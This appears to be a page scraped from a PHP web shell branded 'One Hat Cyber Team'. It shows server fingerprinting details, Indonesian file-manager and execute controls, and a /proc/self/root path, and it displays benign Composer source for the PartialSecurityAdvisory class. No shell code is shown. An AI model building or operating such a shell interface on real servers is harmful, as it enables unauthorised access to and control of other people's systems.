⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.164
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
php
/
Composer
/
Advisory
/
View File Name :
PartialSecurityAdvisory.php
* Jordi Boggiano
* * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Advisory; use Composer\Semver\Constraint\ConstraintInterface; use Composer\Semver\VersionParser; use JsonSerializable; class PartialSecurityAdvisory implements JsonSerializable { /** * @var string * @readonly */ public $advisoryId; /** * @var string * @readonly */ public $packageName; /** * @var ConstraintInterface * @readonly */ public $affectedVersions; /** * @param array
$data * @return SecurityAdvisory|PartialSecurityAdvisory */ public static function create(string $packageName, array $data, VersionParser $parser): self { $constraint = $parser->parseConstraints($data['affectedVersions']); if (isset($data['title'], $data['sources'], $data['reportedAt'])) { return new SecurityAdvisory($packageName, $data['advisoryId'], $constraint, $data['title'], $data['sources'], new \DateTimeImmutable($data['reportedAt'], new \DateTimeZone('UTC')), $data['cve'] ?? null, $data['link'] ?? null, $data['severity'] ?? null); } return new self($packageName, $data['advisoryId'], $constraint); } public function __construct(string $packageName, string $advisoryId, ConstraintInterface $affectedVersions) { $this->advisoryId = $advisoryId; $this->packageName = $packageName; $this->affectedVersions = $affectedVersions; } /** * @return mixed */ #[\ReturnTypeWillChange] public function jsonSerialize() { $data = (array) $this; $data['affectedVersions'] = $data['affectedVersions']->getPrettyString(); return $data; } }